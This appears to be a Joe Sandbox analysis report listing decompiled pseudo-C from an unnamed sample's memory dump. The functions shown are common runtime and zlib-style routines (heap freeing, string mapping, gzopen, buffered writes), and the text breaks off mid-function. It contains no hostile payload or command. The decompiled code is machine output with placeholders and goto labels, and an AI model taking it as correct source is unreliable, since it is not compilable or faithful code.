API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0xda2ab297
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,020318D8), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
